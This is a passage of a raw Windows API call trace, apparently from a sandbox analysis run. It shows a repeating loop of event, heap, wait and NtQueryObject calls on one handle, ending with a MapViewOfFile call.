returned 1 [0093.513] ResetEvent (hEvent=0xdc) returned 1 [0093.513] SetEvent (hEvent=0xe0) returned 1 [0093.514] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.514] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.514] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.514] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.514] ResetEvent (hEvent=0xdc) returned 1 [0093.514] SetEvent (hEvent=0xe0) returned 1 [0093.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.515] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.515] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.515] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.515] ResetEvent (hEvent=0xdc) returned 1 [0093.515] SetEvent (hEvent=0xe0) returned 1 [0093.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.516] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.516] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.516] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.517] ResetEvent (hEvent=0xdc) returned 1 [0093.517] SetEvent (hEvent=0xe0) returned 1 [0093.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.517] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.518] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.518] ResetEvent (hEvent=0xdc) returned 1 [0093.518] SetEvent (hEvent=0xe0) returned 1 [0093.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.518] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.519] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.519] ResetEvent (hEvent=0xdc) returned 1 [0093.519] SetEvent (hEvent=0xe0) returned 1 [0093.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.519] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.520] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.520] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.520] ResetEvent (hEvent=0xdc) returned 1 [0093.520] SetEvent (hEvent=0xe0) returned 1 [0093.520] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.520] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.521] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.521] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.521] ResetEvent (hEvent=0xdc) returned 1 [0093.521] SetEvent (hEvent=0xe0) returned 1 [0093.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.521] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.522] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.522] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.522] ResetEvent (hEvent=0xdc) returned 1 [0093.522] SetEvent (hEvent=0xe0) returned 1 [0093.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.523] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.523] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.523] ResetEvent (hEvent=0xdc) returned 1 [0093.523] SetEvent (hEvent=0xe0) returned 1 [0093.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.524] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.524] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.524] ResetEvent (hEvent=0xdc) returned 1 [0093.524] SetEvent (hEvent=0xe0) returned 1 [0093.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.525] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.525] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.525] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.525] ResetEvent (hEvent=0xdc) returned 1 [0093.525] SetEvent (hEvent=0xe0) returned 1 [0093.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.526] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.526] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.526] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.526] ResetEvent (hEvent=0xdc) returned 1 [0093.526] SetEvent (hEvent=0xe0) returned 1 [0093.526] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.527] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.527] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.527] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.527] ResetEvent (hEvent=0xdc) returned 1 [0093.527] SetEvent (hEvent=0xe0) returned 1 [0093.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.528] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.528] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.528] ResetEvent (hEvent=0xdc) returned 1 [0093.528] SetEvent (hEvent=0xe0) returned 1 [0093.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.529] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.529] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.529] ResetEvent (hEvent=0xdc) returned 1 [0093.529] SetEvent (hEvent=0xe0) returned 1 [0093.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.530] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.530] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.530] ResetEvent (hEvent=0xdc) returned 1 [0093.530] SetEvent (hEvent=0xe0) returned 1 [0093.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.531] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.531] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.531] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.531] ResetEvent (hEvent=0xdc) returned 1 [0093.531] SetEvent (hEvent=0xe0) returned 1 [0093.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.532] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.532] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.532] ResetEvent (hEvent=0xdc) returned 1 [0093.532] SetEvent (hEvent=0xe0) returned 1 [0093.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.533] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.533] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.533] ResetEvent (hEvent=0xdc) returned 1 [0093.533] SetEvent (hEvent=0xe0) returned 1 [0093.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.534] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.534] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.534] ResetEvent (hEvent=0xdc) returned 1 [0093.534] SetEvent (hEvent=0xe0) returned 1 [0093.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.535] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.535] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.535] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.535] ResetEvent (hEvent=0xdc) returned 1 [0093.535] SetEvent (hEvent=0xe0) returned 1 [0093.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.536] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.536] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.536] ResetEvent (hEvent=0xdc) returned 1 [0093.536] SetEvent (hEvent=0xe0) returned 1 [0093.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.537] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.537] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.537] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.537] ResetEvent (hEvent=0xdc) returned 1 [0093.537] SetEvent (hEvent=0xe0) returned 1 [0093.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.538] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.538] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.538] ResetEvent (hEvent=0xdc) returned 1 [0093.538] SetEvent (hEvent=0xe0) returned 1 [0093.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.539] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.539] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.539] ResetEvent (hEvent=0xdc) returned 1 [0093.539] SetEvent (hEvent=0xe0) returned 1 [0093.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.540] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.540] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.540] ResetEvent (hEvent=0xdc) returned 1 [0093.540] SetEvent (hEvent=0xe0) returned 1 [0093.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.541] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.541] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.541] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.541] ResetEvent (hEvent=0xdc) returned 1 [0093.541] SetEvent (hEvent=0xe0) returned 1 [0093.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.542] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.542] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.542] ResetEvent (hEvent=0xdc) returned 1 [0093.542] SetEvent (hEvent=0xe0) returned 1 [0093.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.543] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.543] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.543] ResetEvent (hEvent=0xdc) returned 1 [0093.543] SetEvent (hEvent=0xe0) returned 1 [0093.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.544] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.544] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.544] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.544] ResetEvent (hEvent=0xdc) returned 1 [0093.545] SetEvent (hEvent=0xe0) returned 1 [0093.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.545] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.545] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.545] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.546] ResetEvent (hEvent=0xdc) returned 1 [0093.546] SetEvent (hEvent=0xe0) returned 1 [0093.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.546] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.546] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.547] ResetEvent (hEvent=0xdc) returned 1 [0093.547] SetEvent (hEvent=0xe0) returned 1 [0093.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.547] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.548] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.548] ResetEvent (hEvent=0xdc) returned 1 [0093.548] SetEvent (hEvent=0xe0) returned 1 [0093.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.548] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.549] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.549] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.549] ResetEvent (hEvent=0xdc) returned 1 [0093.549] SetEvent (hEvent=0xe0) returned 1 [0093.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.549] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.550] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.550] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.550] ResetEvent (hEvent=0xdc) returned 1 [0093.550] SetEvent (hEvent=0xe0) returned 1 [0093.550] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.550] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.551] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.551] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.551] ResetEvent (hEvent=0xdc) returned 1 [0093.551] SetEvent (hEvent=0xe0) returned 1 [0093.551] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.551] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.552] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.552] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.552] ResetEvent (hEvent=0xdc) returned 1 [0093.552] SetEvent (hEvent=0xe0) returned 1 [0093.552] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.552] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.553] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.553] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.553] ResetEvent (hEvent=0xdc) returned 1 [0093.553] SetEvent (hEvent=0xe0) returned 1 [0093.553] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.553] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.554] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.554] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.554] ResetEvent (hEvent=0xdc) returned 1 [0093.554] SetEvent (hEvent=0xe0) returned 1 [0093.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.554] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.555] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.555] ResetEvent (hEvent=0xdc) returned 1 [0093.555] SetEvent (hEvent=0xe0) returned 1 [0093.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.555] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.556] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.556] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.556] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.556] 